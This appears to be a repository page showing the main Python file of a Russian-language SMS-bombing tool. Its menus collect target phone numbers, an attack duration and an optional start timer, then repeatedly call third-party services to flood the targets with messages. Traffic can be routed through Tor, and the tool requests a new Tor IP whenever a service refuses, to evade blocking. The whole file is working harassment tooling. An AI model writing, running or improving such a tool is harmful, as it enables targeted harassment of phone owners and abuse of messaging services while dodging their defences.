-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.py
332 lines (288 loc) · 12.9 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
from stem import Signal
from stem.control import Controller
from typing import List
import colorama as clr
import requests
import json
import time
import os
import module
import attck_funcs
def clear_screen():
if os.name == "nt":
os.system("cls")
else:
os.system("clear")
class Main:
proxy = {}
ip = ""
def __init__(self):
self.session = requests.session()
with open("settings.json") as file:
self.settings = json.loads(file.read())
self.refresh_proxy()
def logo(self):
clear_screen()
if self.settings["show_ip"]:
try:
ip = self.ip
except:
ip = "Нет соединения"
ip = ip + " " * (15 - len(ip))
ip = "IP: " + ip
else:
ip = ""
if self.settings["show_ip"] and not self.settings["show_proxy"]:
ip = " " + ip
if self.settings["show_proxy"]:
if self.settings["proxy"] == "noproxy":
proxy = "без прокси"
elif self.settings["proxy"] == "proxy":
proxy = self.settings["custom_proxy"][8::]
elif self.settings["proxy"] == "tor":
proxy = "Tor"
elif self.settings["proxy"] == "toripcng":
proxy = "Tor с автосменой ip"
proxy = " Proxy: " + proxy
else:
proxy = ""
print(module.logo.format(ip=ip, proxy=proxy))
def main_menu(self):
while True:
self.logo()
print(module.main_menu)
cmd = input(" >")
if cmd == "1":
self.attack_menu()
elif cmd == "2":
self.proxy_menu()
elif cmd == "3":
self.settings_menu()
elif cmd == "0":
clear_screen()
quit()
else:
print(clr.Fore.RED + " Некоректный ввод." + clr.Fore.BLUE)
time.sleep(1.25)
def attack_menu(self):
while True:
self.logo()
print(module.attack_menu)
cmd = input(" >")
if cmd == "1":
self.logo()
phones = [input(" Введите номер: ").replace(" ", "")]
raw_time = input(" Введите время атаки(мин:сек): ").split(":")
time_ = int(raw_time[0]) * 60 + int(raw_time[1])
# Attack
print("\n Номер телефона для атаки:")
print(" [1]: " + phones[0])
answer = input("\n" + " Вы хотите запустить атаку? (1 - Да, 2 - По таймеру, 3 - Нет): ")
if answer == "1":
self.attack(phones, time_)
elif answer == "2":
wait_time_raw = input("\n Через сколько запустить спам (мин:секунды): ").split(":")
wait_time = int(wait_time_raw[0]) * 60 + int(wait_time_raw[1])
timer = int(time.time())
last_val = int(time.time()) - timer
print("")
while int(time.time()) - timer < wait_time:
if last_val != int(time.time()) - timer:
last_val = int(time.time()) - timer
print(" Осталось: " + str(wait_time - last_val))
self.attack(phones, time_)
elif answer == "3":
pass
else:
print(clr.Fore.RED + " Некоректный ввод." + clr.Fore.BLUE)
time.sleep(1.25)
elif cmd == "2":
self.logo()
raw_phones = input(" Введите номера(через пробел): ").split(" ")
phones: List[str] = []
for phone in raw_phones:
phone = phone.replace(" ", "")
if phone != "":
phones.append(phone)
raw_time = input(" Введите время атаки(мин:сек): ").split(":")
time_ = int(raw_time[0]) * 60 + int(raw_time[1])
# Attack
print("\n Номера телефонов для атаки:")
for i in range(len(phones)):
print(" [" + str(i + 1) + "]: " + phones[i])
answer = input("\n" + " Вы хотите запустить атаку? (1 - Да, 2 - По таймеру, 3 - Нет): ")
if answer == "1":
self.attack(phones, time_)
elif answer == "2":
wait_time_raw = input("\n Через сколько запустить спам (мин:секунды): ").split(":")
wait_time = int(wait_time_raw[0]) * 60 + int(wait_time_raw[1])
timer = int(time.time())
last_val = int(time.time()) - timer
print("")
while int(time.time()) - timer < wait_time:
if last_val != int(time.time()) - timer:
last_val = int(time.time()) - timer
print(" Осталось: " + str(wait_time - last_val))
self.attack(phones, time_)
elif cmd == "3":
self.logo()
phones: List[str] = []
while True:
file_path = input(" Введите путь к файлу: ")
try:
with open(file_path, "r") as file:
raw_phones = file.read().split("\n")
break
except FileNotFoundError or FileExistsError:
print(clr.Fore.RED + " Файл не существует или не найден." + clr.Fore.BLUE)
time.sleep(1.25)
for phone in raw_phones:
phone = phone.replace(" ", "")
if phone != "":
phones.append(phone)
raw_time = input(" Введите время атаки(мин:сек): ").split(":")
time_ = int(raw_time[0]) * 60 + int(raw_time[1])
# Attack
print("\n Номера телефонов для атаки:")
for i in range(len(phones)):
print(" [" + str(i + 1) + "]: " + phones[i])
answer = input("\n" + " Вы хотите запустить атаку? (1 - Да, 2 - По таймеру, 3 - Нет): ")
if answer == "1":
self.attack(phones, time_)
elif answer == "2":
wait_time_raw = input("\n Через сколько запустить спам (мин:секунды): ").split(":")
wait_time = int(wait_time_raw[0]) * 60 + int(wait_time_raw[1])
timer = int(time.time())
last_val = int(time.time()) - timer
print("")
while int(time.time()) - timer < wait_time:
if last_val != int(time.time()) - timer:
last_val = int(time.time()) - timer
print(" Осталось: " + str(wait_time - last_val))
self.attack(phones, time_)
elif cmd == "0":
break
else:
print(clr.Fore.RED + " Некоректный ввод." + clr.Fore.BLUE)
time.sleep(1.25)
continue
def proxy_menu(self):
while True:
self.logo()
selected_symbol = clr.Fore.LIGHTBLUE_EX + "+" + clr.Fore.CYAN
proxy_arr = [" ", " ", " ", " "]
if self.settings['proxy'] == "noproxy":
proxy_arr[0] = selected_symbol
elif self.settings['proxy'] == "proxy":
proxy_arr[1] = selected_symbol
elif self.settings['proxy'] == "tor":
proxy_arr[2] = selected_symbol
elif self.settings['proxy'] == "toripcng":
proxy_arr[3] = selected_symbol
print(module.proxy_menu.format(proxy_arr[0],
proxy_arr[1],
proxy_arr[2],
proxy_arr[3]))
cmd = input(" >")
if cmd == "1":
self.settings['proxy'] = "noproxy"
elif cmd == "2":
proxy = input("\n Введите прокси (ip:port): ")
self.settings['proxy'] = "proxy"
self.settings['custom_proxy'] = "https://" + proxy
elif cmd == "3":
self.settings['proxy'] = "tor"
elif cmd == "4":
self.settings['proxy'] = "toripcng"
elif cmd == "0":
break
else:
print(clr.Fore.RED + " Некоректный ввод." + clr.Fore.BLUE)
time.sleep(1.25)
continue
with open("settings.json", "w") as file:
json.dump(self.settings, file)
self.refresh_proxy()
def settings_menu(self):
self.logo()
while True:
self.logo()
selected_symbol = clr.Fore.LIGHTBLUE_EX + "+" + clr.Fore.CYAN
settings_arr = [" ", " "]
if self.settings['show_ip']:
settings_arr[0] = selected_symbol
if self.settings['show_proxy']:
settings_arr[1] = selected_symbol
print(module.settings_menu.format(settings_arr[0],
settings_arr[1]))
cmd = input(" >")
if cmd == "1":
self.settings['show_ip'] = not self.settings["show_ip"]
elif cmd == "2":
self.settings['show_proxy'] = not self.settings["show_proxy"]
elif cmd == "0":
break
else:
print(clr.Fore.RED + " Некоректный ввод." + clr.Fore.BLUE)
time.sleep(1.25)
continue
with open("settings.json", "w") as file:
json.dump(self.settings, file)
def new_ip(self):
# signal TOR for a new connection
with Controller.from_port(port=9051) as controller:
controller.authenticate(password="password")
controller.signal(Signal.NEWNYM)
def refresh_proxy(self):
if self.settings['proxy'] == "noproxy":
self.proxy = {}
elif self.settings['proxy'] == "proxy":
self.proxy = {'https': self.settings['custom_proxy']}
elif self.settings['proxy'] == "tor" or self.settings['proxy'] == "toripcng":
self.proxy = {'http': 'socks5://127.0.0.1:9050',
'https': 'socks5://127.0.0.1:9050'}
self.refresh_ip()
def refresh_ip(self):
try:
self.ip = self.my_ip()
except:
self.ip = "Нет соединения"
def my_ip(self):
return json.loads(
requests.get("http://httpbin.org/ip", proxies=self.proxy).content
)["origin"]
def attack(self, phones: List[str], time_: int = 30):
clear_screen()
print(module.attack_logo + "\n\n")
timer = time.time()
try:
while time.time() - timer < time_:
for phone in phones:
error = False
print(clr.Fore.LIGHTBLUE_EX + f"\n {phone}:" + clr.Fore.CYAN)
for service in attck_funcs.functions:
name = attck_funcs.names[attck_funcs.functions.index(service)]
resp = service(phone, self.proxy)
if resp == "ok":
print(clr.Fore.LIGHTGREEN_EX + " [" + name + "] Сообщение отправленно." + clr.Fore.CYAN)
elif resp == "error":
print(clr.Fore.LIGHTRED_EX + " [" + name + "] Сообщение не отправленно." + clr.Fore.CYAN)
error = True
if error and self.settings["proxy"] == "toripcng":
print("\a\n\n Changing ip")
old_ip = self.my_ip()
if self.settings["show_ip"]:
print(" Old ip: " + old_ip)
self.new_ip()
new_ip = self.my_ip()
if self.settings["show_ip"]:
print(" New ip: " + new_ip)
except KeyboardInterrupt:
print("\a\n\n Атака остановленна.")
time.sleep(2.5)
except Exception as E:
print(E)
time.sleep(12.5)
if __name__ == '__main__':
app = Main()
app.main_menu()